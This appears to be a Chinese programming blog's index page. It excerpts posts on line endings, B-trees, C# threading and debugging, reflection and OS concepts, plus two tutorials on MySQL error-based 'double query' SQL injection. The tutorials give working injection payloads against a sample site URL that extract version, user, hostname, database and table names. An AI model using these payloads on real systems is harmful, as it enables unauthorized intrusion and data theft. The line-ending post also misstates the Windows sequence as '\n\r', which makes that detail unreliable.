和 浅析

这两个转义字符最初学习C++的时候看到了,当时没多想,后来某一天突然想起来,回车不就是换行吗?这不是多此一举吗?今天又看到,索性查了下相关资料,整理一下,留作记录. 关于“回车”(carriage return)和“换行”(line feed)这两个概念的来历和区别。 在计算机还没有出现之前,有一种叫做电传打字机(Teletype Model 33)的玩意,每秒钟可以打10个字符。但是它有一个问题,就是打完一行换行的时候,要用去0.2秒,正好可以打两个字符。要是在这0.2秒里面,又有新的字符传过来,那么这个字符将丢失。 于是,研制人员想了个办法解决这个问题,就是在每行后面加两个表示结束的字符。一个叫做“回车”,告诉打字机把打印头定位在左边界;另一个叫做“换行”,告诉打字机把纸向下移一行(这句的意思是把纸向上拉,然后打印头就定位到了下一行),可以想象一下,这个打印头只能在一个固定的水平线上左右移动,而不能上下移动,我们通过移动纸来完成打印下一行。 不明白的我在youtube上找到一个这种打字机的演示视频,为了方便读者观看,我提供一个下载地址。 后来,计算机发明了,这两个概念也就被般到了计算机上。那时,存储器很贵,一些科学家认为在每行结尾加两个字符太浪费了,加一个就可以。于是,就出现了分歧。 Unix系统里,每行结尾只有"<换行>",即"\n"; Windows系统里面,每行结尾是"<换行><回车>",即"\n\r"; Mac系统里,每行结尾是"<回车>",不过mac基于unix,所以换行也应该是可以的。 一个直接后果是,Unix/Mac系统下的文件在Windows里打开的话,所有文字会变成一行;而Windows里的文件在Unix/Mac下打开的话,在每行的结尾可能会多出一个^M符号。这个如果你在windows下使用vim也会发现这个情况 用C++来说明 如: int main() { cout << "leaver.me" << "\r" << "bystander" ; return 0; } 最后只显示 bystander 而 leaver.me 背覆盖了 \n 是换行,系统会将其替换成回车+换行 把光标 先移到 行首 然后换到下一行 也就是 下一行的行首拉 int main() { cout << "leaver.me" << "\n" << "bystander" ; return 0; } 则 显示 leaver.me bystander 一句话,这看起来是一个历史遗留问题……

2013-04-05 · 1 min · bystander

[藏]关于B树的一篇文章

很多人对B树的理解有很多错误,我看的最多的就是有人混淆二叉树(Binary Tree)和B树(B-Tree),二叉树是不用简称,也就是BT的,而特殊一点的二叉搜索树才会用BST(Binary Search Tree),至于B-树和B树,这两个其实一样的,英文都是(B-Tree),注意看中间的-号,这个是国内翻译的问题.所以大家不要被误导. Rudolf Bayer 和 Ed McCreight 于1972年,在Boeing Research Labs 工作时发明了B 树,但是他们没有解释B 代表什么意义(如果有的话).Douglas Comer 解释说: 两位作者从来都没解释过B树的原始意义。我个人觉得很有可能是他的名字,程序员对其作品的一种情结吧. 这篇文章来自国外,是某大学的CS课程在线的,由于有时候无法访问,我直接提供PDF版,对其构造过程非常清晰.非常非常好的B树教程,图示很多,就不翻译了,强烈推荐阅读! 下载:B树讲解

2013-04-01 · 1 min · bystander

[E].Net 多线程指南

这是codeproject上的一个系列。我看完了。收获匪浅。可惜作者之后未能更新预想中的总结贴,多少有些可惜,不过。此系列非常非常不错。建议想学习.net多线程的看看。 1.net 多线程介绍 Introduction into threading in .NET 2.线程周期/线程优势/陷阱 Lifecycle of threads/Threading opportunities/Traps 3.线程同步 Synchronization 4.线程池 Thread Pools 5.UI中的线程应用 Threading in UIs (WinForms / WPF / Silverlight)

2013-03-06 · 1 min · bystander

详细讲解双查询注入

上一篇文章中,http://leaver.me/archives/2726.html 我说双查询很难讲清楚,这次就试着讲一下。读了一些原理性的东西。然后尽量通俗的给大家讲清楚。。 在此之前,我们理解一下子查询,查询的关键字是select,这个大家都知道。子查询可以简单的理解在一个select语句里还有一个select。里面的这个select语句就是子查询。 看一个简单的例子: Select concat((select database())); 真正执行的时候,先从子查询进行。因此执行select database() 这个语句就会把当前的数据库查出来,然后把结果传入到concat函数。这个函数是用来连接的。比如 concat(‘a’,’b’)那结果就是ab了。 原理: 双注入查询需要理解四个函数/语句 1. Rand() //随机函数 2. Floor() //取整函数 3. Count() //汇总函数 4. Group by clause //分组语句 简单的一句话原理就是有研究人员发现,当在一个聚合函数,比如count函数后面如果使用分组语句就会把查询的一部分以错误的形式显示出来。 以本地一个名为Security的数据库为例 首先在bt5下的命令行下输入 mysql -u root –p toor 就会连接上数据库了。 然后通过use security; 就可以切换到security数据库了。因为一个服务器上可能有多个数据库嘛。 然后我们执行一下前面那个简单的子查询的例子 SELECT concat((select database())); 就能显示security,也就是显示了当前数据库的名字了。 然后我们测试一下concat的用法。输入 SELECT concat('string1','string2'); 显然结果就是string1string2了 然后我们测试一下rand()这个随机函数是干嘛的 Select rand(); 我们多执行几次 可以看到,这个函数就是返回大于0,小于1之间的数 然后看看取整函数 Select floor(1.1123456); 这个函数就是返回小于等于你输入的数的整数。 然后我们看看双注入查询中的一个简单组合。大家从我的上一篇文章中应该也看到了有一个子查询是 SELECT floor(rand()*2); 我们从里向外看。rand() 返回大于0小于1的小数,乘以2之后就成了小于0小于2了。然后对结果进行取证。就只能是0或1了。也就是这个查询的结果不是1,就是0 我们稍微加大一点难度。看这个查询 SELECT CONCAT((SELECT database()), FLOOR(RAND()*2)); 不要怕。先看最里面的SELECT database() 这个就返回数据库名,这里就是security了。然后FLOOR(RAND()*2)这个上面说过了。不是0,就是1.然后把这两个的结果进行concat连接,那么结果不是security0就是security1了。 如果我们把这条语句后面加上from 一个表名。那么一般会返回security0或security1的一个集合。数目是由表本身有几条结果决定的。比如一个管理表里有5个管理员。这个就会返回五条记录,这里users表里有13个用户,所以返回了13条 如果是从information_schema.schemata里,这个表里包含了mysql的所有数据库名。这里本机有三个数据库。所以会返回三个结果 现在我们准备加上Group By 语句了。 我们使用information_schema.tables 或 information_schema.columns者两个表来查询。因为表里面一般数据很多。容易生成很多的随机值,不至于全部是security0,这样就不能查询出结果了。 select concat((select database()), floor(rand()*2))as a from information_schema.tables group by a; 这里我先解释一下。我们把concat((select database()), floor(rand()*2)) 这个结果取了一个别名 a ,然后使用他进行分组。这样相同的security0分到一组,security1分到一组。就剩下两个结果了。 注意。这里的database()可以替换成任何你想查的函数,比如version(), user(), datadir()或者其他的查询。比如查表啊。查列啊。原理都是一样的。 最后的亮点来了。。 我们输入这条:注意多了一个聚合函数count(*) select count(*), concat((select database()), floor(rand()*2))as a from information_schema.tables group by a; 报错了 ERROR 1062 (23000): Duplicate entry 'security1' for key ‘group_key’ 重复的键值 可以看到security就是我们的查询结果了 想要查询版本就这样: ...

2013-03-03 · 1 min · bystander

C#中的Debug类

位于命名空间System.Diagnostics中 1.Debug.Print方法 Debug.Print("Today: {0}", DateTime.Today); 2.Debug.WriteLine方法 Debug.WriteLine("Have a nice day"); 3.TraceListener类 DelimitedListTraceListener创建的时候指定一个文件名,当Flush调用的时候,就被覆写到文件里。 TraceListener listener = new DelimitedListTraceListener(@"C:\debugfile.txt"); // Add listener. Debug.Listeners.Add(listener); // Write and flush. Debug.WriteLine("Welcome"); Debug.Flush(); 4.Debug.Write和WriteIf以及WriteLineIf方法 Debug.WriteLineIf(IsThursday(), "Thursday"); 第一个参数一个bool值,为真则输出。 5.Debug.Assert方法 Debug.Assert(value != -1, "Value must never be -1."); 如果表达式为false,则输出。

2013-03-01 · 1 min · bystander

双查询注入

作者:bystander 论坛:法客论坛 这个东西比较难解释。我就不多解释。尽量通过这篇文章大家能够照猫画虎手注即可。想要深入理解的可以去看看mysql数据库的一些知识 介绍一下双查询注入,有时候我们通过order by 语句获取到了确定的列数,可是当我们使用union select或union select all查询的时候, f4ck.net/index.php?id=-1 union select 1,2,3,4,5,6-- 却会出现一个错误提示,列数不一致。 Different Number of Columns 而我们使用下面的语句: f4ck.net/index.php?id=1 and (select 1 from (select count(*),concat((select(select concat(cast(concat(version(),user(),@@hostname,0x7e,@@datadir) as char),0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) 执行之后就会显示mysql版本,用户名,服务器名, 以及数据目录… 获取数据库里 许多人会在上面的语句里使用:database()方法来获取数据库, f4ck.net/index.php?id=1 and (select 1 from (select count(*),concat((select(select concat(cast(database() as char),0x7e)) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) 可是。这个方法只能获取一个数据库。如果你入侵的网站存在多个数据库。上面这个查询就不能用了因此使用下面这个方法更好些。。 f4ck.net/index.php?id=1 and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,cast(schema_name as char),0x27,0x7e) FROM information_schema.schemata LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 不同点在于第二个查询语句在information_schema.schemata里查询 schema_name ,这样就能查到所有的数据库了。 注意语句中的Limit 0,1会显示地一个数据库,改成 Limit 1,1 会显示第二个 Limit 2,1 会显示第三个, Limit 3,1 会显示第四个。。以此类推。 补充个: 在普通的SQL注入中,使用如下的语句 f4ck.net/index.php?id=-1 union select 1,2,3,4,5,schema_name,7,8 from information_schema.schemata-- 会一次爆出所有的数据库 而使用下面的 f4ck.net/index.php?id=-1 union select 1,2,3,4,5,database(),7,8-- 只会显示当前站点使用的数据库。 获取表名 回正题,我们继续使用双查询来获取数据库的表: f4ck.net/index.php?id=1 and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,cast(table_name as char),0x27,0x7e) FROM information_schema.tables Where table_schema=0xHEX LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 注意语句中的table_schema=0xHEX 这里的hex用你要查询的数据库进行hex编码后替换即可。 同样的,这里可以要修改LIMIT后面的值来得到第二个第三个第四个表。 ...

2013-02-22 · 2 min · bystander

你是想读书,还是想读完书?

本文来自知乎,我的看法呢,同意作者的。但不完全是这样。每个人都会建议你把好书读千百遍。改变自己什么的。其一,别人认为的好书不一定能启发你。因此,需要多读书来遇到那本如来神掌,其二。对于非技术书来说,作者的观点是正确的。人文,心理这类书绝对不在多。在于书为了自己的一部分。改变了自己。而技术书无此功能。多读多做才能进步。 本科时,一位很有才华的心理学老师说过的一句话,让我终身难忘: 很多同学喜欢说自己一天能读多少页的书,有些人一天能读50页,有些人能读100页。可是一旦你用“页数”为单位来度量读书这种行为时,从一开始你就错了。 同理,我想对题主说,你用读了多少本书来形容你的读书经历,这种思路,从一开始就错了。 如果你认真读到了书里去,是不会care、甚至会完全忽略掉今天读了多少页,今年读了多少本的;当你沉迷于书中绚烂多彩的世界,当你的观念被翻天覆地地革新,是不会care、甚至会完全忽略掉今天读了多少页,今年读了多少本的。 当我们看手表的时候,常是快等不及了;当我们数书页的时候,常是快看不下去了;当我们念叨看了几本书的时候,常是连书名都记不全了。所以,数多少页、多少本这行为本身,就说明你已经败了。 很多时候,一个人对待知识和思想的态度,就体现在用什么东西去丈量它。 如果有人问一位读书而有大成之人:你因何而脱胎换骨?你因何而涅磐重生?这些问题,他该如何作答?他说:”我因200本书而脱胎换骨,我因1000本书而涅磐重生“,如何? 学而悟道,有时候一本书就够了,有时候一万本都不够。这取决于,你读了什么书,更重要的是,你是如何读的:你有没有读进去把自己活埋在里面,又有没有读出来敲打出一个新的自己。 有些书,是一代宗师级的人物,把他们毕生的智慧熔铸在一本书里面;有些书,是一个领域的开疆拓土之作,从一片混沌中劈出一个新世界;有些书,是一个领域的集大成之作,观点纷繁,气象万千;有些书,如盗梦空间一般有几层境界,你多读一遍就多梦到一层。对这些书,你若只是都当成那两百分之一,花上一个星期匆匆读完,读后即扔,只摘下几条金句供日后泡妞之用,难道这就算读过了吗? 有些书,要用心血去读;有些书,要用足够的经历去读;有些书,是要绞尽最后一粒脑细胞去读;有些书,是一辈子都读不完读不透…… 看书的方法,不仅要看作者写了什么(一层),还要琢磨文字背后的意蕴,那些弦外之音(二层),还要去思考作者为什么要写这些、要这样写(三层),还要去想想看作者用了什么样的框架和策略在组织这本书,以及在各种细微处又用了什么样的方法和技巧(四层),当然更重要的是,以上的这些分析对你自己的现实和精神世界能带来什么样的帮助,是否能启发你、引导你、改变你……(五层) 于是,一本值得都烂读透的书,就需要你去读五遍、十遍去读烂读透它。 于是乎,和很多人的答案相反:所谓200本,你不是读少了,而是读多了、读水了、读浅了! 其实你的状态一点都不特殊,你和许多人一样,以为自己在读书,其实是在集邮。 最后,建议你重新拿起一本你最崇敬的书,换一种方式,再读一遍、两遍、三遍……

2013-02-21 · 1 min · bystander

C#多线程揭秘

文章略长。。。 Demo下载:Demo.Threading.zip 介绍 本文将通过一些例子来展示.net 中如何实现多线程,涉及到以下四部分。 1 .线程概念 2 .如何实现多线程 3 .如何确保线程安全 4 .死锁 什么是进程 一个进程就是一个可执行文件运行的操作系统上下文环境。它被用来分隔虚拟地址空间,线程,对象句柄(指向类似文件这样的资源的指针),以及环境变量,进程还有一些类似优先级类和最大内存分配的属性。 也就是说: 1 .一个进程就是一个包含资源的内存块。 2 .操作系统执行的一个单独的任务。 3 .一个正在运行的软件 4 .一个进程拥有一个/多个操作系统线程 一般的。一个进程最大可以是4GB的内存空间,这块内存是安全,私有,其他进程是无法访问的。 什么是线程 一个线程就是在一个进程里执行的一条指令流,所有的线程都在一个进程里执行,也就是一个进程可以包含多个线程。线程公用进程的虚拟地址空间。线程是操作系统的调度单元。一个线程的上下文由操作系统进行保存/恢复。 也就是说: 1 .一个线程是进程里的一条指令流。 2 .所有的线程在进程里。一个进程可以有多个线程 3 .一个进程的所有线程使用进程的虚拟地址空间。 什么是多线程 多线程指的是进程同时有多个线程活动。这可以通过时间片的线程模拟或是多cpu上的超线程来实现。可以提高性能。 多线程-为什么或是为什么不? 为什么多线程 1 .保持UI响应。 2 .提高性能(对于cpu密集型和I/O密集型的进程) 为什么不多线程 1 .过度使用降低性能 2 .代码复杂,增加设计时间,潜在的bug 线程池 线程池为你的程序提供了一个由操作系统管理的机制。在线程池里的都是后台线程。一个线程池线程在程序的前台线程都退出后,也会推出。每个进程一个线程池。默认情况下。每个处理器会为进程分配25个线程。但是可以通过SetMaxThreads 方法来改变。 .net 中的线程 在.net 中,线程可以通过下面6个方法来实现。 1 .Thread线程类 2 .Delegates委托 3 .Background Worker 4 .ThreadPool 线程池 5 .Task任务类 6 .Parallel并行类 下面的几部分里。我将逐一展示实现方法。 简而言之,多线程就是通过使程序同时运行多个任务来最大化计算机能力,同时能够保持UI响应。下图是一个例子的图示。 代码 提供的源码是一个简单的WinForm程序。模拟了.net中委托,线程类和Background Worker三种方法。 程序异步执行一个繁重的操作,这样UI就不会无响应。三个方法都是模拟的。 这个“繁重”的操作 真实的开发中,这个繁重的操作从轮询数据库到流媒体操作都可以。基本上可以是任何事情。源码里面是向一个字符串追加值。String是不能变的。追加的时候,新的字符串变量会被创建,旧的会被丢弃,这是由CLR处理的。如果做很多次这个操作,是很耗资源的。这也是为什么我们使用Stringbuilder.Append 来代替这个操作。通过调整界面中的次数。可以通知追加的次数。 后面我们有一个Utility泪,有一个LoadData() 方法。类里面也有一个和LoadData() 有着同样签名的委托 class Utility { public delegate string delLoadData(int number); public static delLoadData dLoadData; public Utility() { } public static string LoadData(int max) { string str = string.Empty; for (int i = 0; i < max; i++) { str += i.ToString(); } return str; } } 同步调用 当点击Get Data Sync按钮的时候。操作和UI在同一个线程里,因此阻塞了UI线程。因此。UI线程会未响应 private void btnSync_Click(object sender, EventArgs e) { this.Cursor = Cursors.WaitCursor; this.txtContents.Text = Utility.LoadData(upCount); this.Cursor = Cursors.Default; } 异步调用 使用委托(异步编程模型) ...

2013-02-12 · 7 min · bystander

利用反射转换对象list到csv

扒自一工程。。可以学习一下.net中反射的简单用法 /// <summary> /// Take object List as input and export to csv which will be prompt save as dialog /// </summary> /// <typeparam name="T"> Type of object</typeparam> /// <param name="listToExport"> Object list to export</param> /// <param name="seperateChar"> character to use as scv separator</param> public static string ExportListToCSV<T>( List<T> listToExport, string seperateChar) { Int32 success = 0; StringBuilder export = new StringBuilder(); try { string seperator = "" ; StringBuilder builder = new StringBuilder(); //获取表头的 PropertyInfo[] fieldInfo = listToExport[0].GetType().GetProperties(); foreach (PropertyInfo col in fieldInfo) { if (!col.PropertyType.FullName.Equals("System.Data.EntityKey") && !col.PropertyType.FullName.Equals("System.Data.EntityState" )) { builder.Append(seperator).Append(col.Name); seperator = seperateChar; } } export.AppendLine(builder.ToString()); foreach (T dataItem in listToExport) { PropertyInfo[] allProperties = dataItem.GetType().GetProperties(); seperator = ""; StringBuilder builderTmp = new StringBuilder(); //真正求数据域的 foreach (PropertyInfo thisProperty in allProperties) { if (!thisProperty.PropertyType.FullName.Equals("System.Data.EntityKey") && !thisProperty.PropertyType.FullName.Equals("System.Data.EntityState" )) { object value = thisProperty.GetValue(dataItem, null); String propetyValue = (value == null ? String.Empty : value.ToString()); builderTmp.Append(seperator).Append(propetyValue); seperator = seperateChar; } } ++success; export.AppendLine(builderTmp.ToString()); } } catch (Exception ex) { throw ex; } return export.ToString(); } if (!thisProperty.PropertyType.FullName.Equals("System.Data.EntityKey") && !thisProperty.PropertyType.FullName.Equals("System.Data.EntityState")) ...

2013-02-02 · 1 min · bystander

操作系统的死锁和内存管理

这部分是最后一部分笔记。《现代操作系统》第三版的笔记就这样了。 死锁; 把需要排他性使用的对象称为资源,资源分为可抢占的和不可抢占的。可抢占资源可以从拥有它的进程中抢占而不会具有任何副作用。存储器就是可抢占的。不可抢占资源是指在不引起相关的计算失败的情况下,无法把它从占有她的进程处抢占过来。比如CD刻录机,如果一个进程开始刻盘,突然分配给CD刻录机到另一进程,就会划坏CD盘。死锁会发生在不可抢占资源中 死锁的规范定义:如果一个进程集合中的每个进程都在等待只能由该进程集合中的其他进程才能引发的事件,那么,该进程集合就是死锁的。 死锁的四个必要条件 1.互斥条件。每个资源要么已经分配给一个进程,要么就是可用的。 2.占有和等待条件,已经得到了某个资源的进程可以再请求新的资源。 3.不可抢占条件,已经分配给一个进程的资源不可强制性的被抢占,他只能由占有她的进程显式的释放。 4.环路等待条件。死锁发生时,系统中一定有友两个/多个进程组成的一条回路,该环路中的每个进程都在等待着下一个进程所占有的资源。 死锁处理的四种策略 1.忽略该问题,如果可以忽略。则忽略 2.检测死锁并恢复,让死锁发生,检测他们是否发生,一旦发生。采取行动。 3.仔细对资源进行分配。动态的避免死锁。 4.通过破坏引起的四个必要条件之一。防止死锁发生。 银行家算法就是对每个请求进行检查。检查如果满足这一请求是否会达到安全状态,或是,那么满足这请求,若否。就推迟这一请求的满足。为了看状态是否安全。类似于银行家投资。看自己是否有足够的资源满足客户。如果可以。就认为投资是可以收回的。接着检查最接近最大限额的一个客户。如果所有投资最终都被收回。则该状态安全。 通信死锁:两个/以上的进程发送消息通信。A向B发送请求信息,然后阻塞直到B回复。假设请求信息丢失,A将阻塞等待回复。B则阻塞等待一个向其发送命令的请求。则发生死锁。他不能通过对资源排序/安排调度来避免,因此。采用了超时来中断通信死锁。 活锁:两个进程A和B,A获得1.B获得2.轮询请求对方的。没有进程被阻塞。看起来像是死锁发生了。就叫做活锁。 内存管理 每个linux进程都有一个地址空间,逻辑上有三段组成:代码。数据和堆栈段。代码段包含了形成程序可执行代码的机器指令。通常是只读的。是由编译器把源码转换成机器码形成的。 数据段包含了所有程序变量。字符串。数字和其他数据的存储。由两部分,初始化数据和未初始化数据。后者即为BSS,符号起始块。加载后被初始化为0.数据段可以修改。可以增加数据段的大小。 第三段是栈段。大多数机器里。从虚拟地址空间的顶部/附近开始。并且向下生长。 linux内存由三部分组成。前两部分是内核和内存映射,被钉在内存中。页面从不换粗。内存的其他部分,被划分为页框。每个页框都可以包含一个代码。数据或栈页面。 window如何知道系统配置的细节呢。答案就是windows会挂载一种特殊的文件系统,其为小文件做了优化,到名字空间,也就是注册表。注册表被阻止成了不同的卷,称作储巢。hive。一个叫做system的储巢会在系统启动时。装入内存。这里面包含了驱动什么设备工作。什么软件要初始化。那些变量等等。

2013-02-02 · 1 min · bystander